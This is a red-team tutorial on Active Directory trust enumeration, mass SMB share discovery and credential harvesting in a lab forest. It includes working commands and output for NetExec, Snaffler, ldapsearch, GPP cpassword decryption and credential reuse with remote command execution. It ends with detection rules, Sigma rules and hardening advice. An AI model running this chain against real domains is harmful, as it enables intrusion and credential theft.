Trust, Share, and File Hunting: Mapping the Forest and Finding Credentials in Data

By Debraj Basak·Jun 25, 2026·22 min readActive Directory Exploitation

Objective: Learn to enumerate Active Directory trust relationships across domains and forests, discover and access SMB shares at scale, and harvest credentials and sensitive data from files left lying on those shares – then see exactly how a defender catches every step. Everything here runs against a self-built lab forest.


Most red-team reports I have written that ended in Domain Admin did not start with a flashy zero-day. They started with a low-privileged user account, a map of the forest, and a file share that somebody forgot to lock down ten years ago. Trust enumeration tells you where you can go. Share enumeration tells you what is reachable. File hunting tells you what is sitting there in cleartext. Chain those three and you frequently skip half the kill chain.

This guide is enumeration-first throughout. For every technique I show the recon that surfaces the opportunity before I touch the exploitation, because the finding is what teaches you, not the syntax.


1. Forest Architecture Primer

A forest is the top-level security boundary in Active Directory. Inside it live one or more domains arranged into trees that share a schema, a configuration partition, and a global catalog. A trust is a relationship that lets principals in one domain authenticate against resources in another. Trusts are why a compromise of a low-value child domain so often turns into a compromise of the entire forest.

When a user in child.corp.local requests a service in corp.local, Kerberos does not magically know about the foreign account. The child DC issues an inter-realm TGT (referral ticket) encrypted with the shared trust key that both domains negotiated when the trust was created. The user presents that referral to the target domain’s KDC, which trusts it because it can decrypt it. The PAC (Privilege Attribute Certificate) inside the ticket carries the user’s SIDs, and this is precisely where SID filtering and SID-History injection become relevant.

Trust Types

Trust TypeDescription
Parent-ChildAutomatic, transitive trust created between a parent domain and its child in the same tree (corp.local and child.corp.local).
Tree-RootAutomatic, transitive trust between forest root and the root of a new tree in the same forest.
Cross-Link (Shortcut)Manually created transitive trust to shorten the referral path between two child domains.
ExternalNon-transitive trust to a domain in a different forest or an NT4 domain. SID filtering is on by default.
ForestTransitive trust between two forest roots; extends trust to all domains in both forests.
RealmTrust to a non-Windows Kerberos realm (MIT/Heimdal).

Trust Direction and Transitivity

Direction decides who can reach whom. A one-way outbound trust from A to B means B’s users can access A’s resources, not the other way around. A bidirectional trust works both ways. The LDAP trustDirection attribute on a trustedDomain object encodes this:

trustDirection ValueMeaning
1Inbound (trusted domain trusts this one)
2Outbound (this domain trusts the partner)
3Bidirectional

Transitivity means trust flows through. If A trusts B and B trusts C transitively, A effectively trusts C. Intra-forest trusts are always transitive. External trusts are not, which is exactly why attackers prefer to find a forest trust.

SID Filtering and Why It Matters

When a referral ticket crosses a trust, its PAC contains the user’s SID plus any SIDs in the SIDHistory attribute. SID filtering is the guardrail: the trusting domain strips foreign SIDs that do not belong to the trusted domain, including anything injected into SID history. If SID filtering is disabled or never enforced (common on older external trusts and on intra-forest trusts, where it is off by design), an attacker who controls the trusted domain can stuff a privileged SID such as the Enterprise Admins RID into the PAC and walk across the boundary. That downstream attack is SID-History Injection (T1134.005). Our job in enumeration is to find which trusts leave that door open.

The Get-ADTrust cmdlet surfaces this directly through SIDFilteringQuarantined and SIDFilteringForestAware. When SIDFilteringQuarantined is False on an external trust, the quarantine is off and the trust is abusable.


2. Building the Lab

Stand up a small two-domain forest plus an optional second forest in your hypervisor of choice. Windows Server Evaluation media works fine for the DCs.

VMRoleIP
DC01.corp.localForest root DC (Server 2022)192.168.10.10
FS01.corp.localFile server (Server 2019)192.168.10.20
WS01.corp.localWindows 11 workstation (foothold)192.168.10.50
DC02.child.corp.localChild domain DC (Server 2022)192.168.20.10
DC.partner.localSecond forest root (Server 2022)192.168.30.10
Kali LinuxAttacker box192.168.10.100

Intentional misconfigurations to seed:

  • \\FS01\IT_Scripts with NTFS ACL Authenticated Users: Read. Drop a deploy.ps1 containing $cred = "Summer2024!".
  • \\FS01\Backups with Everyone: Read. Drop a web.config containing <add key="DBPassword" value="Summer2024!"/> and an unattend.xml with <AutoLogon><Password><Value>LabPass1</Value></Password></AutoLogon>.
  • On DC01, create a GPO that uses Group Policy Preferences to set a local Administrator password. This writes a Groups.xml with a cpassword to SYSVOL. Make that password match the local Administrator on FS01.
  • On DC02, leave \\DC02\NETLOGON\setup_notes.txt containing svc_sql / P@ssw0rd123.
  • Configure a forest trust between corp.local and partner.local with SID filtering disabled.

Your foothold is the domain user corp\jdoe (password Password1), the kind of account you get from a phishing payload or a captured credential.


3. Trust Enumeration: APIs, LDAP, and Native Tools

Before touching shares, map the terrain. Every trust you find is a potential lateral or escalation path, and the cheapest way to enumerate trusts is with tools already on the host.

Under the hood, most trust enumerators call the Win32 API DSEnumerateDomainTrusts() from Netapi32.dll. It returns a NETLOGON_TRUSTED_DOMAIN_ARRAY, which is a count plus a pointer to an array of DS_DOMAIN_TRUSTS structures. Each entry describes one trust.

// Illustrative shapes - verify field names against current Microsoft Learn docs.
typedef struct _DS_DOMAIN_TRUSTS {
    LPTSTR NetbiosDomainName;   // e.g. "CHILD"
    LPTSTR DnsDomainName;       // e.g. "child.corp.local"
    ULONG  Flags;               // DS_DOMAIN_IN_FOREST, DS_DOMAIN_DIRECT_OUTBOUND, ...
    ULONG  ParentIndex;
    ULONG  TrustType;
    ULONG  TrustAttributes;     // bitfield: forest, quarantine/SID-filter, etc.
    PSID   DomainSid;           // the trusted domain SID
    GUID   DomainGuid;
} DS_DOMAIN_TRUSTS, *PDS_DOMAIN_TRUSTS;

typedef struct _NETLOGON_TRUSTED_DOMAIN_ARRAY {
    DWORD DomainCount;
    PDS_DOMAIN_TRUSTS Domains;
} NETLOGON_TRUSTED_DOMAIN_ARRAY;

The Flags field tells you direction (DS_DOMAIN_DIRECT_OUTBOUND, DS_DOMAIN_DIRECT_INBOUND) and whether the domain sits inside the forest (DS_DOMAIN_IN_FOREST). DomainSid is the gold: that SID is what you need for any SID-history work later.

Native enumeration with nltest

nltest.exe ships on every Windows host and wraps the same API. It is also a known adversary tool, so expect it to be watched.

C:\> nltest /domain_trusts /all_trusts
List of domain trusts:
    0: CORP corp.local (NT 5) (Forest Tree Root) (Primary Domain) (Native)
    1: CHILD child.corp.local (NT 5) (Direct Outbound) (Direct Inbound) (Attr: within_forest)
    2: PARTNER partner.local (NT 5) (Direct Outbound) (Direct Inbound) (Forest: 1)
The command completed successfully

Three trusts. CHILD is intra-forest (note within_forest). PARTNER is a forest trust (Forest: 1) to a different forest, which is the high-value path because forest trusts are transitive.

Identify a DC in each domain so you know where to aim queries and tickets:

C:\> nltest /dclist:child.corp.local
Get list of DCs in domain 'child.corp.local' from '\\DC02.child.corp.local'.
    DC02.child.corp.local [PDC] [DS] Site: Default-First-Site-Name
The command completed successfully

netdom and Get-ADTrust

netdom query trust gives a cleaner direction column:

C:\> netdom query trust /Domain:corp.local
Direction  Trusted\Trusting domain          Trust type
=========  =======================          ==========
<->        child.corp.local                 Direct
<->        partner.local                    Forest
The command completed successfully.

Get-ADTrust (RSAT ActiveDirectory module) reads the trustedDomain object class via LDAP and is the single best tool for spotting SID-filtering state:

Get-ADTrust -Filter * | Select Source,Target,Direction,TrustType,ForestTransitive,SIDFilteringQuarantined,SIDFilteringForestAware
Source            : DC=corp,DC=local
Target            : child.corp.local
Direction         : BiDirectional
TrustType         : Uplevel
ForestTransitive  : False
SIDFilteringQuarantined : False
SIDFilteringForestAware : False

Source            : DC=corp,DC=local
Target            : partner.local
Direction         : BiDirectional
TrustType         : Uplevel
ForestTransitive  : True
SIDFilteringQuarantined : False
SIDFilteringForestAware : False

That partner.local row is the prize. A bidirectional, forest-transitive trust with SIDFilteringQuarantined : False means foreign SIDs are not being stripped. If you can get control inside one forest, SID-history injection across this trust is on the table.

Reading trustedDomain objects directly over LDAP

When you have no RSAT and only network access from Kali, query the raw trustedDomain objects under CN=System:

ldapsearch -x -H ldap://192.168.10.10 -D 'jdoe@corp.local' -w 'Password1' \
  -b "CN=System,DC=corp,DC=local" "(objectClass=trustedDomain)" \
  trustPartner trustDirection trustType trustAttributes securityIdentifier
# child.corp.local, System, corp.local
dn: CN=child.corp.local,CN=System,DC=corp,DC=local
trustPartner: child.corp.local
trustDirection: 3
trustType: 2
trustAttributes: 32
securityIdentifier:: AQQAAAAAAAUVAAAAr8Y0u0Yp8h0wPq1y

# partner.local, System, corp.local
dn: CN=partner.local,CN=System,DC=corp,DC=local
trustPartner: partner.local
trustDirection: 3
trustType: 2
trustAttributes: 8
securityIdentifier:: AQQAAAAAAAUVAAAAQUFBQkJCQkNDQ0NE

Decode trustAttributes: 32 is 0x20 = TRUST_ATTRIBUTE_WITHIN_FOREST (the child). 8 is 0x8 = TRUST_ATTRIBUTE_FOREST_TRANSITIVE (the partner forest trust). The 0x4 bit, TRUST_ATTRIBUTE_QUARANTINED_DOMAIN, governs SID filtering on external trusts; its absence on a trust where you expected it is your signal that filtering is not enforced. The securityIdentifier is the trusted domain SID, base64-encoded here, and it is exactly what feeds a SID-history attack later.


Flow diagram showing Kerberos inter-realm ticket referral from a child domain user through the child KDC to the root KDC and finally to the target service in corp.local
A child-domain user’s authentication crosses the trust boundary via an inter-realm TGT encrypted with the shared trust key; the PAC inside carries the SIDs that SID filtering either strips or passes through.

4. Forest Mapping with PowerView and BloodHound

Native tools tell you trusts exist. PowerView and BloodHound tell you what those trusts let you reach.

PowerView

Import-Module .\PowerView.ps1
Get-DomainTrust
SourceName      : corp.local
TargetName      : child.corp.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 3/14/2024 9:02:11 AM

SourceName      : corp.local
TargetName      : partner.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Bidirectional
WhenCreated     : 3/14/2024 9:41:55 AM

Get-ForestTrust enumerates the cross-forest relationships by calling GetAllTrustRelationships() on a System.DirectoryServices.ActiveDirectory.Forest object:

Get-ForestTrust
TopLevelNames           : {partner.local}
ExcludedTopLevelNames   : {}
TrustedDomainInformation : {partner.local}
SourceName              : corp.local
TargetName              : partner.local
TrustType               : Forest
TrustDirection          : Bidirectional

Because the intra-forest trust is transitive and bidirectional, your jdoe token can query the child domain directly. Prove it by enumerating users across the trust:

Get-DomainUser -Domain child.corp.local -Properties samaccountname,description | ft
samaccountname  description
--------------  -----------
Administrator   Built-in account for administering the domain
krbtgt          Key Distribution Center Service Account
svc_sql         SQL service account - see setup_notes
helpdesk        Tier 2 helpdesk

That description on svc_sql is a breadcrumb pointing straight at the NETLOGON file we will read in Phase 4.

BloodHound

Collect everything, trusts included. Run SharpHound from the foothold:

PS C:\> .\SharpHound.exe --CollectionMethod All,Trusts --Domain corp.local --ZipFilename corp_data.zip
2024-06-12T14:22:01.55-04:00|INFORMATION|Initializing SharpHound at 2:22 PM on 6/12/2024
2024-06-12T14:22:02.10-04:00|INFORMATION|Loaded cache with stats: 0 ID to type mappings.
2024-06-12T14:22:45.11-04:00|INFORMATION|Status: 1842 objects finished (+1842 41.86/s) -- Using 84 MB RAM
2024-06-12T14:22:46.88-04:00|INFORMATION|Enumeration finished in 00:00:45.77
2024-06-12T14:22:47.99-04:00|INFORMATION|SharpHound Enumeration Completed at 2:22 PM on 6/12/2024! Happy Graphing!

Load the zip into BloodHound CE and run the built-in queries plus a couple of raw Cypher queries:

// Map every trust edge in the graph
MATCH (n:Domain)-[r:TrustedBy]->(m:Domain) RETURN n,r,m
// Shortest path from your owned user to Domain Admins in the child domain
MATCH p=shortestPath((u:User {name:"JDOE@CORP.LOCAL"})-[*1..]->
  (g:Group {name:"DOMAIN ADMINS@CHILD.CORP.LOCAL"})) RETURN p

The graph confirms the TrustedBy edges between CORP.LOCAL, CHILD.CORP.LOCAL, and PARTNER.LOCAL, and any cross-domain admin path the data supports. Now we know where the doors are. Time to find what is behind them.


5. SMB Share Discovery: From LDAP Computer List to NetShareEnum

Share hunting is a two-stage operation. First, get the list of computers from LDAP. Second, ask each one for its shares.

Share enumeration tools call DsGetDcName() to find a DC, query LDAP for every objectClass=computer, then fire NetShareEnum() at each host. NetShareEnum is an MSRPC call that travels over SMB through the srvsvc named pipe, and that pipe is only reachable via the IPC$ administrative share. That detail matters for detection: a single source touching IPC$ on dozens of hosts in seconds is the fingerprint of automated share discovery.

Enumerate the computer list first

Get-DomainComputer -Properties dnshostname,operatingsystem | ft
dnshostname            operatingsystem
-----------            ---------------
DC01.corp.local        Windows Server 2022 Standard
FS01.corp.local        Windows Server 2019 Standard
WS01.corp.local        Windows 11 Enterprise

Discover shares with NetExec

NetExec (the maintained CrackMapExec successor) sweeps a subnet and reports shares with your access level:

netexec smb 192.168.10.0/24 -u jdoe -p 'Password1' --shares
SMB  192.168.10.10  445  DC01  [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:corp.local) (signing:True) (SMBv1:False)
SMB  192.168.10.10  445  DC01  [+] corp.local\jdoe:Password1
SMB  192.168.10.10  445  DC01  Share        Permissions   Remark
SMB  192.168.10.10  445  DC01  -----        -----------   ------
SMB  192.168.10.10  445  DC01  NETLOGON     READ          Logon server share
SMB  192.168.10.10  445  DC01  SYSVOL       READ          Logon server share
SMB  192.168.10.20  445  FS01  [*] Windows Server 2019 Build 17763 x64 (name:FS01) (domain:corp.local) (signing:False) (SMBv1:False)
SMB  192.168.10.20  445  FS01  [+] corp.local\jdoe:Password1
SMB  192.168.10.20  445  FS01  Share        Permissions   Remark
SMB  192.168.10.20  445  FS01  -----        -----------   ------
SMB  192.168.10.20  445  FS01  ADMIN$                     Remote Admin
SMB  192.168.10.20  445  FS01  Backups      READ
SMB  192.168.10.20  445  FS01  C$                         Default share
SMB  192.168.10.20  445  FS01  IPC$         READ          Remote IPC
SMB  192.168.10.20  445  FS01  IT_Scripts   READ
SMB  192.168.10.20  445  FS01  NETLOGON     READ          Logon server share

Backups and IT_Scripts on FS01 are non-default STYPE_DISKTREE shares granting READ to a plain domain user. Also note signing:False on FS01, an NTLM relay opportunity for another day.

Confirm and test access with SMBMap and Nmap

SMBMap validates exactly what you can read or write per share, and supports pass-the-hash:

smbmap -u jdoe -p 'Password1' -d corp.local -H 192.168.10.20
[+] IP: 192.168.10.20:445   Name: FS01.corp.local       Status: Authenticated
        Disk            Permissions     Comment
        ----            -----------     -------
        ADMIN$          NO ACCESS       Remote Admin
        Backups         READ ONLY
        C$              NO ACCESS       Default share
        IPC$            READ ONLY       Remote IPC
        IT_Scripts      READ ONLY
        NETLOGON        READ ONLY       Logon server share

The Nmap NSE scripts corroborate findings from a third angle and are handy when you want a portable, audit-friendly artifact:

nmap -p 445 --script smb-enum-shares \
  --script-args smbusername=jdoe,smbpassword=Password1 192.168.10.20
PORT    STATE SERVICE
445/tcp open  microsoft-ds
| smb-enum-shares:
|   account_used: corp.local\jdoe
|   \\192.168.10.20\Backups:
|     Type: STYPE_DISKTREE
|     Anonymous access: <none>
|     Current user access: READ
|   \\192.168.10.20\IT_Scripts:
|     Type: STYPE_DISKTREE
|     Current user access: READ

PowerView from the foothold

If you would rather stay on WS01 and avoid network tooling, PowerView’s Find-DomainShare wraps NetShareEnum against every computer object:

Find-DomainShare -CheckShareAccess
Name       Type Remark             ComputerName
----       ---- ------             ------------
Backups       0                    FS01.corp.local
IT_Scripts    0                    FS01.corp.local
NETLOGON      0 Logon server share DC01.corp.local
SYSVOL        0 Logon server share DC01.corp.local

-CheckShareAccess filters down to shares the current token can actually open, which is what you want when the domain has hundreds of computers.


Graph diagram tracing the NetShareEnum call chain from an attacker tool querying LDAP for computers, connecting to IPC dollar sign, opening the srvsvc named pipe, and receiving the share list
Mass share discovery pivots on IPC$ and the srvsvc named pipe – a single source touching IPC$ on dozens of hosts in seconds is the key detection fingerprint.

6. Automated Share Permission Analysis

Knowing a share exists is not the same as knowing it is misconfigured. PowerHuntShares automates the whole pipeline: enumerate domain computers, filter to those with TCP 445 open, enumerate shares and their NTFS/share ACLs, then flag excessive privileges.

Invoke-HuntSMBShares -Threads 50 -OutputDirectory C:\Temp\ `
  -DomainController 192.168.10.10 -Credential corp\jdoe
 ---------------------------------------------------------------
 SHARE ANALYSIS
 ---------------------------------------------------------------
 [*] 3 domain computers found.
 [*] 2 computers responded on TCP 445.
 [*] 9 shares discovered.
 [*] 4 shares excluded (default).
 [*] 5 shares remaining for analysis.
 [*] 2 shares configured with excessive privileges.
 [*] 2 shares allow READ access to Everyone / Authenticated Users.
 [*] 0 shares allow WRITE access.

 Excessive-privilege shares written to:
   C:\Temp\SmbShareHunt-20240612\Results\Inventory-Excessive-Privileges.csv

Open Inventory-Excessive-Privileges.csv. The high-risk indicators are ACEs that grant Everyone, BUILTIN\Users, or Authenticated Users read or write at the share or NTFS layer:

ComputerName,ShareName,SharePath,IdentityReference,FileSystemRights,ShareAccess
FS01.corp.local,Backups,\\FS01\Backups,Everyone,Read,Read
FS01.corp.local,IT_Scripts,\\FS01\IT_Scripts,NT AUTHORITY\Authenticated Users,ReadAndExecute,Read

Two findings, both readable by any account in the domain. Everyone: Read on Backups is the worst because it does not even require domain membership. These are the shares to crawl first.


7. File Hunting and Credential Extraction

Now the payoff. The fastest tool for credential hunting at scale is Snaffler, which crawls reachable shares and classifies files by regex rules into severity buckets (Black is most interesting, then Red, Yellow, Green).

Snaffler.exe -s -d corp.local -o snaffler.log -v data
[Share] {Black}(\\FS01\Backups)
[Share] {Black}(\\FS01\IT_Scripts)
[File] {Black}<KeepCertExtRegex|R|id_rsa|1.6kB>(\\FS01\Backups\keys\id_rsa) -----BEGIN OPENSSH PRIVATE KEY-----
[File] {Red}<KeepConfigRegexRed|R|web.config|1.2kB>(\\FS01\Backups\web.config) <add key="DBPassword" value="Summer2024!"/>
[File] {Red}<KeepPasswordRegexRed|R|unattend.xml|2.1kB>(\\FS01\Backups\unattend.xml) <Value>LabPass1</Value>
[File] {Black}<KeepInScript|R|deploy.ps1|312B>(\\FS01\IT_Scripts\deploy.ps1) $cred = "Summer2024!"
[File] {Red}<KeepPasswordRegexRed|R|setup_notes.txt|48B>(\\DC02\NETLOGON\setup_notes.txt) svc_sql / P@ssw0rd123

Five hits in seconds: an SSH private key, a DB password in web.config, an autologon password in unattend.xml, a hardcoded credential in a deploy script, and the svc_sql password our LDAP description field hinted at. This is what every internal engagement looks like.

Manual content sweep

When you cannot drop a binary, a PowerShell sweep does the same job with built-ins:

Get-ChildItem \\FS01\Backups -Recurse -Include *.xml,*.config,*.ps1,*.bat,*.ini,*.txt -ErrorAction SilentlyContinue |
  Select-String -Pattern 'password|passwd|cred|secret|token|cpassword' |
  Select-Object Path,LineNumber,Line | Format-Table -Wrap
Path                              LineNumber Line
----                              ---------- ----
\\FS01\Backups\web.config                 14 <add key="DBPassword" value="Summer2024!"/>
\\FS01\Backups\unattend.xml               42       <Value>LabPass1</Value>

SYSVOL and Group Policy Preferences

The classic that still hits hard. Group Policy Preferences once let admins push credentials, and those passwords landed in Groups.xml files in SYSVOL encrypted with a static AES key that Microsoft published. Every authenticated user can read SYSVOL, so every authenticated user can read and decrypt those passwords. This maps to T1552.006.

Enumerate first. PowerSploit’s Get-GPPPassword finds and decrypts them automatically:

Get-GPPPassword -Verbose
VERBOSE: Searching \\corp.local\SYSVOL\corp.local\Policies for Groups.xml
VERBOSE: Found \\corp.local\SYSVOL\corp.local\Policies\{A2F3C1D4-9E55-4F1B-9C77-1B2E3F4A5B6C}\Machine\Preferences\Groups\Groups.xml

UserNames : {Administrator (built-in)}
NewName   : [BLANK]
Passwords : {Summer2024!}
File      : \\corp.local\SYSVOL\corp.local\Policies\{A2F3C1D4-9E55-4F1B-9C77-1B2E3F4A5B6C}\Machine\Preferences\Groups\Groups.xml

To do it by hand, read the file and pull the cpassword:

Get-Content "\\DC01\SYSVOL\corp.local\Policies\{A2F3C1D4-9E55-4F1B-9C77-1B2E3F4A5B6C}\Machine\Preferences\Groups\Groups.xml"
<?xml version="1.0" encoding="utf-8"?>
<Groups>
  <User name="Administrator (built-in)" image="2" changed="2024-03-14 10:11:22">
    <Properties action="U" newName="" fullName=""
      cpassword="j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
      changeLogon="0" acctDisabled="0" userName="Administrator (built-in)"/>
  </User>
</Groups>

Decrypt the cpassword with the public AES key using gpp-decrypt on Kali:

gpp-decrypt "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
Summer2024!

The local Administrator password is Summer2024!. Notice it matches the web.config DB password too, classic password reuse, which means it almost certainly works as the local admin on FS01.

Hunting across the trust

Because the forest trust lets us read foreign SYSVOL and shares, repeat the share discovery against the child and partner subnets:

netexec smb 192.168.20.0/24 -u jdoe -p 'Password1' -d corp.local --shares
SMB  192.168.20.10  445  DC02  [*] Windows Server 2022 Build 20348 x64 (name:DC02) (domain:child.corp.local) (signing:True) (SMBv1:False)
SMB  192.168.20.10  445  DC02  [+] corp.local\jdoe:Password1
SMB  192.168.20.10  445  DC02  Share      Permissions   Remark
SMB  192.168.20.10  445  DC02  NETLOGON   READ          Logon server share
SMB  192.168.20.10  445  DC02  SYSVOL     READ          Logon server share

The cross-domain trust authenticated corp\jdoe against DC02 with no extra effort. That is the trust doing its job, and exactly why trust enumeration came first.


Illustration of a dark vault with filing cabinets and glowing documents rising upward, a magnifying glass revealing a key hidden inside an open folder
File hunting on misconfigured shares surfaces cleartext credentials, SSH keys, and encrypted passwords that any domain user can read and weaponise.

8. Lab Walkthrough: End-to-End Trust-to-Credential Chain

Tie it together. The full chain, from low-priv user to credential reuse:

  1. Trust recon. nltest /domain_trusts and Get-ADTrust revealed an intra-forest trust to child.corp.local and a forest trust to partner.local with SIDFilteringQuarantined : False.
  2. Forest mapping. PowerView and BloodHound graphed the TrustedBy edges and confirmed jdoe can query foreign domains.
  3. Share discovery. NetExec found Backups (Everyone: Read) and IT_Scripts (Authenticated Users: Read) on FS01.
  4. Permission analysis. PowerHuntShares flagged both as excessive-privilege shares.
  5. File hunting. Snaffler and Get-GPPPassword recovered Summer2024!, LabPass1, P@ssw0rd123, an id_rsa, and the GPP local admin password.
  6. Credential reuse / lateral movement PoC. Validate the recovered local admin credential.
netexec smb 192.168.10.20 -u Administrator -p 'Summer2024!' --local-auth
SMB  192.168.10.20  445  FS01  [*] Windows Server 2019 Build 17763 x64 (name:FS01) (domain:corp.local) (signing:False) (SMBv1:False)
SMB  192.168.10.20  445  FS01  [+] FS01\Administrator:Summer2024! (Pwn3d!)

(Pwn3d!) means the GPP-recovered password is local admin on FS01. From here you would dump SAM/LSASS for more credentials. Validate the svc_sql domain credential too:

netexec smb 192.168.10.10 -u svc_sql -p 'P@ssw0rd123' -d corp.local -x "whoami /all"
SMB  192.168.10.10  445  DC01  [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:corp.local) (signing:True) (SMBv1:False)
SMB  192.168.10.10  445  DC01  [+] corp.local\svc_sql:P@ssw0rd123
SMB  192.168.10.10  445  DC01  [+] Executed command via wmiexec
SMB  192.168.10.10  445  DC01  corp\svc_sql  S-1-5-21-1899771348-... SeServiceLogonRight ...

A working domain service account, harvested from a text file on a NETLOGON share. No exploit, no malware, just enumeration and a misconfiguration. The forest trust enumeration in step 1 also leaves the SID-history path against partner.local open as a follow-on, since SID filtering is disabled, but that is its own tutorial.


9. Common Attacker Techniques

TechniqueDescription
Trust enumerationnltest, Get-ADTrust, and DSEnumerateDomainTrusts() to map domains, direction, and SID-filter state.
Cross-trust account enumerationQuerying foreign-domain users/groups over a transitive trust to find targets.
Mass share discoveryNetShareEnum over srvsvc/IPC$ against every computer object pulled from LDAP.
Excessive-privilege share abuseReading shares granting Everyone / Authenticated Users access.
Credential file huntingSnaffler/SmbCrawler crawling for web.config, unattend.xml, id_rsa, .kdbx.
GPP cpassword decryptionRecovering and decrypting Groups.xml passwords from SYSVOL.
Credential reuse / PtHReplaying recovered passwords or NTLM hashes over SMB for lateral movement.
SID-history injectionAbusing trusts with SID filtering disabled to forge privileged SIDs across the boundary.

10. Detection, Threat Hunting, and Hardening

Every step above is loud if you are listening. Pair each phase with the telemetry that catches it.

Windows Security and Directory Service events

Event IDSourceTrigger
4688SecurityProcess creation; with command-line auditing, catches nltest.exe, net.exe view, and PowerShell share cmdlets.
5140SecurityNetwork share object accessed; gives IpAddress and SubjectUserName.
5145SecurityDetailed file-share access check; logs the relative target path and access type.
4663SecurityObject access on files/dirs when a SACL is set; catches reads off sensitive shares.
4776SecurityNTLM credential validation; high volume from one source signals reuse/spraying.
4768 / 4769SecurityKerberos TGT/TGS; cross-domain TGS requests expose inter-domain movement.
1644Directory Service (DC)LDAP search operations; not logged by default, surfaces bulk SharpHound/PowerView queries.

Enable 1644 by setting HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics value 15 Field Engineering to 5.

Sysmon events

Sysmon EIDWhat to hunt
1 (Process Create)nltest.exe, net.exe, PowerShell with share/trust cmdlets via CommandLine.
3 (Network Connect)Mass outbound 445/tcp to many hosts in a short window.
11 (File Create)Snaffler/SharpHound writing log/ZIP output to disk.
17/18 (Named Pipe)srvsvc pipe creation/connection from share enumeration.
22 (DNS Query)Bulk _ldap._tcp.dc._msdcs.* SRV lookups during trust/DC enumeration.

ETW providers worth tapping: Microsoft-Windows-LDAP-Client (client-side query filters, where operatingSystem attribute requests betray computer enumeration), Microsoft-Windows-SMBClient/Security, and Microsoft-Windows-SMBServer/Security.

Sigma rules

Trust discovery via nltest:

title: Domain Trust Discovery via Nltest
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1
    Image|endswith: '\nltest.exe'
    CommandLine|contains:
      - '/domain_trusts'
      - '/all_trusts'
      - '/dclist'
  condition: selection
level: medium

Mass IPC$ access indicating share sweeping:

title: Mass IPC$ Access Indicating Share Enumeration
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5140
    ShareName: 'IPC$'
  timeframe: 30s
  condition: selection | count(SubjectUserName) by IpAddress > 10
level: high

SYSVOL GPP password file access:

title: Group Policy Preferences Password File Access
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5145
    RelativeTargetName|endswith: '\Groups.xml'
  condition: selection
level: high

Hardening

MitigationDescription
Enable SID filtering on trustsnetdom trust <trusting> /domain:<trusted> /quarantine:Yes; blocks SID-history abuse across the boundary.
Remove GPP passwordsApply KB2962486, delete legacy Groups.xml, rotate every affected account.
Audit share permissionsHunt Everyone / Authenticated Users ACEs on roots and profile shares regularly.
Strip secrets from sharesRemove or encrypt cleartext passwords, SSH keys, and dumps from general-purpose shares.
Restrict null-session enumSet RestrictNullSessAccess and enforce SMB signing to blunt relay/anon NetShareEnum.
Limit LDAP read scopeACL sensitive attributes so regular users cannot bulk-read msDS-* and trust objects.
Enable EID 1644 and 5140/5145Turn on DC LDAP diagnostic logging and Object Access -> File Share auditing.
Selective AuthenticationOn forest trusts, require explicit resource grants instead of transitive access.
Tiered administrationNever log Tier 0 credentials into Tier 1/2 systems where they land in files.

Illustration of a fortified gatehouse with a guard reviewing logs, reinforced trust bridge cables in the background and a shield with an eye symbol on the wall
Detection and hardening close the loop: SID filtering on trust bridges, SYSVOL access auditing, and Sysmon network telemetry together catch every stage of the trust-to-credential chain.

11. Tools for Trust and Share Analysis

ToolDescriptionLink
Nltest / netdomBuilt-in trust and DC enumerationlearn.microsoft.com
PowerViewGet-DomainTrust, Find-DomainShare, Find-InterestingDomainShareFilegithub.com
BloodHound / SharpHoundGraphs trusts and cross-domain attack pathsbloodhoundenterprise.io
NetExecShare enumeration, credential testing, lateral PoCnetexec.wiki
SMBMapPer-share read/write testing, pass-the-hashgithub.com
PowerHuntSharesAutomated share permission and excessive-privilege analysisgithub.com
SnafflerRecursive credential/file hunting across sharesgithub.com
ImpacketGetADUsers.py, wmiexec.py, ticket toolinggithub.com
gpp-decryptDecrypts SYSVOL GPP cpassword valueskali.org
AdFindLDAP query of trusts and OUs (-f "(objectClass=trustedDomain)")joeware.net

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Domain Trust DiscoveryT1482EID 4688/Sysmon 1 for nltest; EID 1644 for LDAP trust queries
Network Share DiscoveryT1135EID 5140/5145; Sysmon 17/18 on srvsvc; mass IPC$ access
File and Directory DiscoveryT1083EID 4663 with SACL; recursive listing patterns
Data from Network Shared DriveT1039EID 5145 read access on sensitive shares; Sysmon 11 output files
Credentials in FilesT1552.0014663 reads of web.config/unattend.xml; Snaffler artifacts
Group Policy PreferencesT1552.006EID 5145 for Groups.xml; SYSVOL access auditing
Account Discovery: Domain AccountT1087.002net user /domain, LDAP user/group queries; EID 1644
Remote Services: SMB Admin SharesT1021.002EID 4624 type 3 + 5140 ADMIN$/C$ access
Use Alternate Auth Material: Pass the HashT1550.0024776 volume; NTLM logons without preceding interactive auth
Access Token Manipulation: SID-History InjectionT1134.0054769 cross-domain with anomalous PAC SIDs; trust quarantine state

Summary

  • Trust enumeration is reconnaissance for lateral movement: it tells you which domains and forests your foothold can reach before you spend a single credential.
  • Intra-forest trusts are transitive by design, and forest trusts with SIDFilteringQuarantined : False are prime escalation paths via SID-history injection (T1134.005).
  • NetShareEnum over the srvsvc pipe and IPC$ drives mass share discovery; tools like NetExec, PowerHuntShares, and Snaffler turn that into excessive-privilege findings and recovered secrets in minutes.
  • The fastest wins are still misconfigured shares and SYSVOL GPP cpassword files, both decryptable or readable by any domain user, leading straight to credential reuse.
  • Detect the chain with Sysmon 1/3/11/17/18, Security 5140/5145/4663, and DC LDAP diagnostic 1644, then harden by enabling SID filtering, stripping secrets from shares, and auditing share ACLs.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.